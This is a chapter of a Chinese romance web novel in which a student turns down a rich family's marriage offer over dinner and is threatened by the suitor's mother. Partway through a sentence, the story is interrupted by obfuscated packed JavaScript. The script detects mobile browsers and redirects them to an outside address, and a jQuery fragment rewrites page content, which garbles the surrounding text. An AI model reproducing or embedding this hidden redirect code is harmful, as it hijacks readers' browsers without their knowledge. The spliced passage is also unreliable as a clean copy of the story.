邱铭的语气听起来还是很急,“你真的没事吗?我从昨晚到现在给你打这么多电话你都不接,发短信也没回,我给你室友打电话她们也不知道你去哪了,整个学校我都找遍了,也不见人影,我以为你被绑架了,吓得我都要报警了,你现在在哪啊我开车去接你吧。” 齐慕声看了眼门口,纪松臣还在家里,小声说:“我真的没事,我等下自己回学校吧。” 确定她没事后,邱铭略带着一丝祈求地说:“声声,我妈妈昨天从美国回来了,她想看看你,晚上六点,我在Aria1927定了位置,能赏个脸过来吗?” “阿姨回来了?”齐慕声想起那个对她温柔祥和,在她读高中的时候给予她妈妈一般关怀的女人,语气里多了一丝兴奋。 自从她父母离婚后,她很多年没有见到自己的母亲了,邱铭的母亲在一定程度上填补了她缺失的那部分母爱。 “好,我知道了。”齐慕声挂断了电话,刚从卫生间出去,就撞到了双手端着盘子的纪松臣。 14. 邱母 “醒了?来尝尝我刚煎的牛排。”纪松臣穿着灰色半袖,腰间系着围裙,眼神迷离,略显浮肿,看起来刚睡醒没多久的样子。 齐慕声简单洗漱了一下,摸了摸自己的肚子,早已饥肠辘辘了。纪松臣为她准备好了刀叉和纸巾,“我之前在法国读书的时候经常吃,后来为了省一点学费,我开始学着自己做一些吃的,回了国之后,我也很想法国牛排的味道,就经常在家里煎,不知道你吃不吃的惯?” 齐慕声嚼了两口,火候和味道都把握的刚刚好,比她之前在西餐店里吃的那些还要好吃。“你之前在国外读的大学吗?” 纪松臣拿着刀叉的手停顿了一下,淡淡地开口:“做过一年交换生在巴黎,大四就回国了。” 也就是在这一年,倪南出了国,而自己还傻傻地期盼着早点修够学分与她回国相见呢。想到这里,他不由自主地笑了出来。 “在国外的那一年一定给你留下很多美好的回忆吧。” 纪松臣故作思考,“那一年嘛,除了牛排和啤酒,就是上不完的课,硬要说怀念,最怀念的还是秋天巴黎街头金黄的落叶。”他吃了一口自己煎的牛排,又说:“其实我每一天都在倒数回国的日子,本来要在那里待整整一年的,我九个月就修够学分提前回来了,但是国内的冬天实在太冷了。” 齐慕声苦笑道:“我其实也很想出国看看的,导师问过我要不要去美国或者英国留学,我都拒绝了,时机不合适。” 纪松臣知道她的苦衷,默默低下头吃着牛排,也没有多说什么。 “我等下就回学校了,晚上见。” “我接你。” * 下午六点时,齐慕声准时到了Aria1927。邱铭在二楼订了包厢,和母亲黎梦亲昵地坐在一起。只有在母亲面前,邱铭才会收起所有锋芒,当一个乖孩子。 “声声,过来坐!”邱铭见齐慕声进来,兴奋地打着招呼。 齐慕声拉开了邱铭对面的座位,看着对面珠光宝气的女人,拘谨地打了个招呼:“黎阿姨,好久不见。” 黎梦温柔地笑道:“好久不见啊慕声,你还是那么漂亮。” 邱铭从黎梦身边起来,跑到齐慕声身边坐下。 “阿姨您过奖了,这段时间您不在国内,我很想您。” 黎梦被她哄得开心,从身边的Hermes中取出了个礼盒放到齐慕声面前,“慕声嘴还是这么甜,瞧,这是阿姨在纽约给你带的礼物,打开看看。” 齐慕声打开盒子,是一枚耀眼的胸章,仿照梵高的向日葵设计的,上面镶满了黄金。 “怎么样?喜欢吗?这还是小铭挑的呢!” 齐慕声又把盒子扣上,放到邱铭面前,“很漂亮的胸章,谢谢阿姨,但我觉得它更适合邱铭,我平常也没什么机会戴,倒是他,经常主持活动。” “声声,我妈送你的你就收下吧。来,先点菜,别饿着肚子聊天了。”邱铭知道齐慕声的窘迫,连忙岔开话题。前几日黎梦打电话给他,问她挑什么礼物送给齐慕声,他翻来覆去纠结了好几天才决定送这个给她。 黎梦点了几道菜单上最贵的菜,又把菜单递给齐慕声,“来,慕声点自己想吃的,阿姨买单。” 齐慕声心里忐忑,连接菜单的手都是颤抖的,她心里有种预感,这不是普通的饭局,而是一场鸿门宴。 邱铭连忙先一步接过菜单,“我来点吧,我知道声声爱吃什么。” 菜陆陆续续地上齐了,三个人各有各的心思,黎梦絮絮叨叨地讲述着自己在美国这段时间见过的富家小姐,邱铭间歇向母亲展露自己这一年在学业上的建树,齐慕声只是低头吃饭,偶尔点头微笑回应他们俩。 其实她自己清楚,他们完全就不是一路人,哪里来的共同话题,邱铭一直在谈论学校的事,明里暗里想让她们之间少一点隔阂。 “慕声,其实阿姨这次回来,还有一件要紧的事。”大约过了一个小时,黎梦终于把话题转向齐慕声。 齐慕声心一惊,放下了刀叉,“阿姨您说。” “慕声啊,阿姨这次去了哈佛,和哈佛中文系的教授介绍了你,如果你还考虑留学的话,阿姨可以提前向哈佛打个招呼,以你的成绩,肯定不是问题,至于学费和生活费,你更不用担心了。” 齐慕声摇了摇头,果断拒绝道:“阿姨,谢谢你的好意,我现在的情况,不适合去国外读书了,我父亲刚住院,需要人照顾。” 黎梦继续说道:“这简单啊,阿姨花钱请个保姆照顾他嘛,他肯定也希望你能去国外读书以后有出息了孝敬他。反正小铭我是肯定要让他去美国留学的,正好你和小铭一起去嘛,两个人也好有个照应。” 邱铭也在一旁劝说:“声声,你之前不是说,能读哈佛大学中文系是你的梦想嘛,我们一起去吧。” “慕声,你和小铭青梅竹马从小一起长大,你的为人阿姨最放心不过了,你无论相貌还是成绩都算的上出挑,等你们从哈佛毕业,阿姨就为你们办一场风风光光的婚礼。” 齐慕声知道,前面不论是送礼物还是承诺出国读书都是在为这件事做铺垫。 齐慕声看着邱铭,眼里既有期待,也有恐惧。 她握着刀叉的手心全是汗,正当她想如何开口拒绝时,邱铭抢先一步开了口,“妈,这事不急,你给声声一点反应的时间嘛,先吃饭吧。” 黎梦瞪了他一眼,“你这孩子,妈妈这次回国,就是帮你落实这件事的。”黎梦又将目光转向齐慕声,看她白皙的脸变得微红,还当她是一时害羞,毕竟无论从家境还是哪方面来看都是她高攀了邱家。 岂料齐慕声突然说:“不好意思阿姨,我并没有打算嫁给邱铭啊,这么多年,我真的很感谢你们对我的照顾,我也一直把邱铭当成我哥哥,邱铭是个特别优秀的男生,我们不是一路人,不适合步入婚姻的殿堂。” 把这些话说出口,齐慕声顿感如释重负。这是她今天晚上,第一次直视黎梦的眼睛。 “齐慕声,你别给脸不要脸!你知道整个榆衡有多少集团千金想嫁进我们邱家吗?我看你们俩个青梅竹马的份上,小铭又对你一往情深,才给你这个机会的,你别不识抬举!” “妈你别说了。” 齐慕声看着黎梦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16605706|187544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些失态,心底从一开始的惶恐不安变得波澜不惊,淡淡地说道:“谢谢你啊阿姨,你还是把这个机会留给那些千金们吧,我不需要,失陪了。” 她起身离开了包厢,邱铭安抚了黎梦两句转身追了出去,看见齐慕声正在餐厅门口等着他。 邱铭双手扶着她的肩膀,手臂上青筋暴起,浅棕色的眼睛泛起了红血丝,“对不起啊,声声,我没想到我妈会把话说的那么难听。” 齐慕声平静地看着他,“不怪你,阿姨说的是事实,邱铭,我们以后别联系了。” “不要。” “我认真的,你放过我吧,这么多年,我真的感谢你们对我的照顾,但这不是你们践踏我尊严的理由。你以为你是谁啊,人人都想嫁给你吗?我就是不喜欢你啊怎么了?”齐慕声语气渐渐激动起来,声音中带着哽咽,吸引了大街上不少人的目光。 邱铭抓着他的手突然松开了,他突然觉得自己好无力,明明自己含着金汤匙出生,从小到大要什么都有,就没有他得不到的东西,可他偏偏得不到齐慕声的心。 “小铭,我们走。”黎梦也从包厢里出来,看见邱铭和齐慕声僵持不下,走到齐慕声面前,挑着眉说道:“齐慕声,你放心好了,敢伤害我儿子,你接下来的日子不会太好过的。” 齐慕声知道她这句话不是开玩笑,邱氏集团在榆衡的影响力数一数二,邱氏夫妇更是一言既出驷马难追。 “想来堂堂邱氏集团倒要和我一个又穷又没背景的学生过不去,说出去倒叫人笑话。” “想不到你牙尖嘴利,倒是我之前看走眼了。” “你从来都没用正眼看过我吧。”齐慕声想起自己每次去邱铭家,黎梦的眼神都是带着悲悯与同情的,那时候她不懂,现在才知道,他们这种上流社会的人向来是不会把底层人民放在眼里的,只会偶尔想想他们为什么过的这么惨,施舍一些物质上的帮助。 邱铭觉得自己的泪水马上要夺眶而出,他不敢再看齐慕声的眼睛,他对她感到陌生,好像他们从来都没有认识过一般。 在泪水真的流下之前,他拉着黎梦上了车,把齐慕声一个人留在了原地。 闹剧结束了,那些餐厅里时不时瞥一眼门外的客人觉得好戏散场了,桌上的高档菜也瞬间索然无味,纷纷去结了账。不少人从齐慕声身边路过的时候还不忘谈笑两句。 “要我说这女孩长得也蛮漂亮的,但一看就是个穷命,男方一看就是有钱人,这么好的攀高枝儿机会也把握不住,啧啧。”一对小情侣路过小声嘀咕。 齐慕声只觉得很可笑,大声说:“喂,这机会给你你要不要啊?” 男生听了这话顿时不忿,回过头来:“乱说什么呢?” “你应该问问你女朋友,有高枝她会不会抛弃你啊?” 女孩看齐慕声一脸无所畏惧的样子,不知她是不是心死了,想着多一事不如少一事,“算了老公,她刚失恋我们不跟她一般见识了。” “没关系啊,你也快了。” 一个熟悉的男声突然从齐慕声身后响起,扬起一阵风来。 “上车。”